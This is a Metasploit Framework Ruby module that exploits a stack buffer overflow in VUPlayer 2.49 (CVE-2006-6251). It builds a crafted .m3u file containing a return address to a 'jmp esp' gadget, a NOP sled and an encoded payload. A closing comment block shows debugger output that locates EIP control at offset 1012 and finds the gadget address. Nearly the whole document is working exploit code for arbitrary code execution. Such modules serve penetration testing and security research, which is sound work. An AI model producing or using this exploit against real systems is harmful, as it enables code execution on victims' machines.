##
# $Id: vuplayer_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VUPlayer M3U Buffer Overflow',
'Description'=> %q{
This module exploits a stack over flow in VUPlayer <= 2.49. When
the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
for the execution of arbitrary code.
},
'License'=> MSF_LICENSE,
'Author' => [ 'MC' ],
'Version'=> '$Revision: 10998 $',
'References' =>
[
[ 'CVE', '2006-6251' ],
[ 'OSVDB', '31710' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload'=>
{
'Space'=> 750,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops'=>'True',
},
'Platform' => 'win',
'Targets'=>
[
[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 18 2009',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.','msf.m3u']),
], self.class)
end
def exploit
m3u = rand_text_alpha_upper(2024)
m3u[1012,4]= [target.ret].pack('V')
m3u[1016,12] = "\x90" * 12
m3u[1028,payload.encoded.length] = payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(m3u)
end
end
=begin
0:000> r eip
eip=68423768
0:000> !pattern_offset 2024
[Byakugan] Control of ecx at offset 996.
[Byakugan] Control of ebp at offset 1008.
[Byakugan] Control of eip at offset 1012.
0:000> d esp
0012ef4439684238 42306942 69423169 336942328Bh9Bi0Bi1Bi2Bi3
0012ef5442346942 69423569 37694236 42386942Bi4Bi5Bi6Bi7Bi8B
0012ef646a423969 316a4230 42326a42 6a42336ai9Bj0Bj1Bj2Bj3Bj
0012ef74356a4234 42366a42 6a42376a 396a42384Bj5Bj6Bj7Bj8Bj9
0012ef8442306b42 6b42316b 336b4232 42346b42Bk0Bk1Bk2Bk3Bk4B
0012ef946b42356b 376b4236 42386b42 6c42396bk5Bk6Bk7Bk8Bk9Bl
0:000> s -b 0x10100000 0x1010a000 ff e4
1010539fff e4 49 10 10 20 05 93-19 01 00 00 00 9c 53 10..I.. ........S.
0:000> u 0x1010539f L1
BASSWMA!BASSplugin+0xe9a:
1010539f ffe4jmp esp
=end